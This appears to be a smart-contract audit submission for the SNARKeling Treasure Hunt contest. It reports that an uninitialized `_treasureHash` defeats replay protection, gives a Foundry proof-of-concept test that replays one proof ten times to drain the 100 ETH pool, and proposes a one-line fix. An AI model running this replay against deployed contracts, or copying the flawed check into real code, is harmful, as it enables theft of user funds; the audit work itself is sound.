SNARKeling Treasure Hunt

First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Uninitialized `_treasureHash` Disables Replay Protection and Lets One Valid Proof Drain the Reward Pool

Author Revealed upon completion

Root + Impact

A single treasure can be claimed repeatedly, so the protocol no longer enforces the intended one-treasure-one-reward rule.
The full 100 ETH reward pool can be drained by replaying one valid proof ten times, leaving legitimate winners with nothing to claim.

Description

  • Describe the normal behavior in one or more sentences

Under normal operation, each treasure should be claimable only once. A successful call to `claim()` is supposed to mark that `treasureHash` as used so later attempts with the same treasure revert.

Explain the specific issue or problem in one or more sentences

The contract checks claimed[_treasureHash], but _treasureHash is never initialized. After a successful claim, the contract marks claimed[treasureHash] = true, which means it writes to a different key than the one it reads. In practice, one valid proof for a real treasure can be replayed until the full reward pool is exhausted.

bytes32 private immutable _treasureHash;

Risk

Likelihood: High

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)
    The bug is present from deployment because _treasureHash is left at its default zero value in the constructor.

  • Reason 2
    The issue occurs as soon as a user obtains one valid proof for any nonzero treasureHash, because the same calldata remains replayable until claimsCount reaches MAX_TREASURES.

Impact:

A single treasure can be claimed repeatedly, so the protocol no longer enforces the intended one-treasure-one-reward rule.
The full 100 ETH reward pool can be drained by replaying one valid proof ten times, leaving legitimate winners with nothing to claim

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
import "forge-std/Test.sol";
import "forge-std/StdJson.sol";
import {TreasureHunt} from "../src/TreasureHunt.sol";
import {HonkVerifier} from "../generated/Verifier.sol";
contract PocFinding1Test is Test {
using stdJson for string;
address constant OWNER = address(0xDEADBEEF);
address constant ATTACKER = address(0xBAD);
uint256 constant INITIAL_OWNER_BALANCE = 200 ether;
uint256 constant INITIAL_FUNDING = 100 ether;
TreasureHunt hunt;
function setUp() public {
vm.deal(OWNER, INITIAL_OWNER_BALANCE);
vm.prank(OWNER);
hunt = new TreasureHunt{value: INITIAL_FUNDING}(address(new HonkVerifier()));
}
function _loadFixture()
internal
view
returns (
bytes memory proof,
bytes32 treasureHash,
address payable recipient
)
{
proof = vm.readFileBinary("contracts/test/fixtures/proof.bin");
string memory json = vm.readFile("contracts/test/fixtures/public_inputs.json");
bytes memory raw = json.parseRaw(".publicInputs");
bytes32[] memory inputs = abi.decode(raw, (bytes32[]));
treasureHash = inputs[0];
recipient = payable(address(uint160(uint256(inputs[1]))));
}
function testPoc_ReplayableClaimDrainsRewardPool() public {
(
bytes memory proof,
bytes32 treasureHash,
address payable recipient
) = _loadFixture();
assertTrue(recipient != ATTACKER);
uint256 recipientBalanceBefore = recipient.balance;
console2.log("initial contract balance", address(hunt).balance);
console2.log("initial recipient balance", recipientBalanceBefore);
console2.log("treasure already claimed", hunt.claimed(treasureHash));
vm.startPrank(ATTACKER);
for (uint256 i; i < hunt.MAX_TREASURES(); ++i) {
hunt.claim(proof, treasureHash, recipient);
console2.log("replay", i + 1);
console2.log("claimsCount", hunt.claimsCount());
console2.log("contract balance", address(hunt).balance);
console2.log("recipient gained", recipient.balance - recipientBalanceBefore);
}
vm.stopPrank();
assertTrue(hunt.claimed(treasureHash));
assertEq(hunt.claimsCount(), hunt.MAX_TREASURES());
assertEq(address(hunt).balance, 0);
assertEq(recipient.balance - recipientBalanceBefore, INITIAL_FUNDING);
}
}

Recommended Mitigation

Use the same key for both the replay check and the claimed-state update. The simplest fix is to remove the unused _treasureHash variable and gate claims directly on the user-supplied treasureHash.

- bytes32 private immutable _treasureHash;
...
- if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
+ if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!